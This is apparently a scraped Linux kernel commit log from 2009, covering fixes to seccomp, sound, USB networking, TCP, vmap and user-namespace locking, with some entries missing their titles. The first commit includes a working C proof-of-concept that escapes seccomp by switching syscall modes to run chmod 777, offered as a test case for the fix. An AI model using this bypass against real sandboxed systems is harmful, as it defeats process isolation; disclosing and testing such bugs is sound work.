2009-03-02x86-64: seccomp: fix 32/64 syscall holeRoland McGrath
On x86-64, a 32-bit process (TIF_IA32) can switch to 64-bit mode with ljmp, and then use the "syscall" instruction to make a 64-bit system call. A 64-bit process make a 32-bit system call with int $0x80. In both these cases under CONFIG_SECCOMP=y, secure_computing() will use the wrong system call number table. The fix is simple: test TS_COMPAT instead of TIF_IA32. Here is an example exploit: /* test case for seccomp circumvention on x86-64 There are two failure modes: compile with -m64 or compile with -m32. The -m64 case is the worst one, because it does "chmod 777 ." (could be any chmod call). The -m32 case demonstrates it was able to do stat(), which can glean information but not harm anything directly. A buggy kernel will let the test do something, print, and exit 1; a fixed kernel will make it exit with SIGKILL before it does anything. */ #define _GNU_SOURCE #include <assert.h> #include <inttypes.h> #include <stdio.h> #include <linux/prctl.h> #include <sys/stat.h> #include <unistd.h> #include <asm/unistd.h> int main (int argc, char **argv) { char buf[100]; static const char dot[] = "."; long ret; unsigned st[24]; if (prctl (PR_SET_SECCOMP, 1, 0, 0, 0) != 0) perror ("prctl(PR_SET_SECCOMP) -- not compiled into kernel?"); #ifdef __x86_64__ assert ((uintptr_t) dot < (1UL << 32)); asm ("int $0x80 # %0 <- %1(%2 %3)" : "=a" (ret) : "0" (15), "b" (dot), "c" (0777)); ret = snprintf (buf, sizeof buf, "result %ld (check mode on .!)\n", ret); #elif defined __i386__ asm (".code32\n" "pushl %%cs\n" "pushl $2f\n" "ljmpl $0x33, $1f\n" ".code64\n" "1: syscall # %0 <- %1(%2 %3)\n" "lretl\n" ".code32\n" "2:" : "=a" (ret) : "0" (4), "D" (dot), "S" (&st)); if (ret == 0) ret = snprintf (buf, sizeof buf, "stat . -> st_uid=%u\n", st[7]); else ret = snprintf (buf, sizeof buf, "result %ld\n", ret); #else # error "not this one" #endif write (1, buf, ret); syscall (__NR_exit, 1); return 2; } Signed-off-by: Roland McGrath <roland@redhat.com> [ I don't know if anybody actually uses seccomp, but it's enabled in at least both Fedora and SuSE kernels, so maybe somebody is. - Linus ] Signed-off-by: Linus Torvalds <torvalds@linux-foundation.org>

2009-03-02ALSA: hda - Add probe_mask default for Toshiba laptop with ALC268Takashi Iwai
Some Toshiba laptops have another ALC268 codec on slot#3 that conflicts with the primary codec. The codec#3 is for the digital I/O, and should be fixed by the driver, but it'd need a bunch of changes. So, let's fix the probe problem temporarily by setting the default probe_mask value.

Since it has Vendor Specific class, the corresponding drivers (cdc-acm, zaurus) can't find it just by interface info.

Make usbnet_get_link() fall back to ethtool_op_get_link() instead of defaulting to 1. This makes usbnet_get_link return valid results without the need for a driver specific check_connect or mii ops as long as the driver calls netif_carrier_{on,off}() as appropriate. cdc_ether is an example of such a driver.

2009-03-01veth: Fix carrier detectEric W. Biederman

2009-03-01cdc_ether: add usb id for Ericsson F3507gBjørn Mork
The Ericsson F3507g wireless broadband module provides a CDC Ethernet compliant interface, but identifies it as a "Mobile Direct Line" CDC subclass, thereby preventing the CDC Ethernet class driver from picking it up. This patch adds the device id to cdc_ether.c as a workaround. Ericsson has provided a "class" driver for this device: http://kerneltrap.org/mailarchive/linux-net/2008/10/28/3832094 But closer inspection of that driver reveals that it adds little more than duplication of code from cdc_ether.c.

2009-03-01r8169: read MAC address from EEPROM on init (2nd attempt)Ivan Vecera
This is 2nd attempt to implement the initialization/reading of MAC address from EEPROM. The first used PCI's VPD and there were some problems, some devices are not able to read EEPROM content by VPD. The 2nd one uses direct access to EEPROM through bit-banging interface and my testing results seem to be much better. I tested 5 systems each with different Realtek NICs and I didn't find any problem. AFAIK Francois's NICs also works fine. Original description: This fixes the problem when MAC address is set by ifconfig or by ip link commands and this address is stored in the device after reboot. The power-off is needed to get right MAC address. This is problem when Xen daemon is running because it renames the device name from ethX to pethX and sets its MAC address to FE:FF:FF:FF:FF:FF. After reboot the device is still using FE:FF:FF:FF:FF:FF. Signed-off-by: Ivan Vecera <ivecera@redhat.com> Signed-off-by: David S. Miller <davem@davemloft.net>

The problem appears to be due to the lack of NULL pointer checking in the function; this patch adds the pointer checks so the function will exit safely in the cases where the socket is not completely initialized.

2009-03-01tcp: fix retrans_out leaksIlpo Järvinen
There's conflicting assumptions in shifting, the caller assumes that dupsack results in S'ed skbs (or a part of it) for sure but never gave a hint to tcp_sacktag_one when dsack is actually in use. Thus DSACK retrans_out -= pcount was not taken and the counter became out of sync. Remove obstacle from that information flow to get DSACKs accounted in tcp_sacktag_one as expected.

2009-03-01netpoll: Add drop checks to all entry pointsHerbert Xu
The netpoll entry checks are required to ensure that we don't receive normal packets when invoked via netpoll. Unfortunately it only ever worked for the netif_receive_skb/netif_rx entry points. The VLAN (and subsequently GRO) entry point didn't have the check and therefore can trigger all sorts of weird problems. This patch adds the netpoll check to all entry points. I'm still uneasy with receiving at all under netpoll (which apparently is only used by the out-of-tree kdump code). The reason is it is perfectly legal to receive all data including headers into highmem if netpoll is off, but if you try to do that with netpoll on and someone gets a printk in an IRQ handler you're going to get a nice BUG_ON.

When resuming from suspend newer Synaptics touchpads do not recover correctly. Analysis of the resume sequence as applied in Linux was compared to that of other operating systems.

2009-02-27checkpatch: make in_atomic ok in the coreAndy Whitcroft
We say that in_atomic() is ok in the core kernel, but then always report it regardless of where in the kernel it is. Keep quiet if it is used in kernel/*.

2009-02-27mm: vmap fix overflowNick Piggin
The new vmap allocator can wrap the address and get confused in the case of large allocations or VMALLOC_END near the end of address space. Problem reported by Christoph Hellwig on a 32-bit XFS workload.

2009-02-27Fix recursive lock in free_uid()/free_user_ns()David Howells
free_uid() and free_user_ns() are corecursive when CONFIG_USER_SCHED=n, but free_user_ns() is called from free_uid() by way of uid_hash_remove(), which requires uidhash_lock to be held. free_user_ns() then calls free_uid() to complete the destruction. Fix this by deferring the destruction of the user_namespace.
